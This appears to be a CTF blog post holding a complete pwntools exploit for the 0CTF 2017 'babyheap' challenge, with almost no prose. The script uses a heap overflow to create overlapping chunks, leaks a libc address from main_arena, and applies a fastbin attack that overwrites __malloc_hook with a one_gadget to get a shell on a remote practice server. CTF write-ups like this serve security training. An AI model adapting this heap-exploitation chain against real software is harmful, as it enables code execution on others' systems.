0ctf2017 babyheap

from pwn import *

#p = process(['./0ctf_2017_babyheap'],env={"LD_PRELOAD":"./libc-2.23.so"})

p = remote("node3.buuoj.cn",26165)
elf = ELF('./0ctf_2017_babyheap')
libc = ELF("./libc-2.23.so")


def Allocate(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))


def Fill(idx,content):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(len(content)))
    p.recvuntil('Content: ')
    p.sendline(content)


def Free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))


def Dump(idx):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))


Allocate(0x10) #0
Allocate(0x10) #1
Allocate(0x80) #2
Allocate(0x10) #3
Allocate(0x68) #4
Allocate(0x10) #5
Fill(0,'a'*24+p64(0xb1))
Free(1)
Allocate(0xa0) #1
Fill(1,'b'*24+p64(0x91))
Free(2)
Dump(1)

mainarea88 = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success(hex(mainarea88))

libcbase = mainarea88 - (0x7f9b47a14b78-0x7f9b47650000)
log.success(hex(libcbase))

malloc_hook = libcbase + libc.symbols['__malloc_hook']

log.success(hex(malloc_hook))

one_gadget = libcbase + 0x4526a
Free(4)        #4
Fill(3,'c'*24+p64(0x71)+p64(malloc_hook-0x23))



Allocate(0x68) #2
Allocate(0x68) #4
Fill(4,'\x00'*0x13+p64(one_gadget))
Allocate(0x10)
p.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值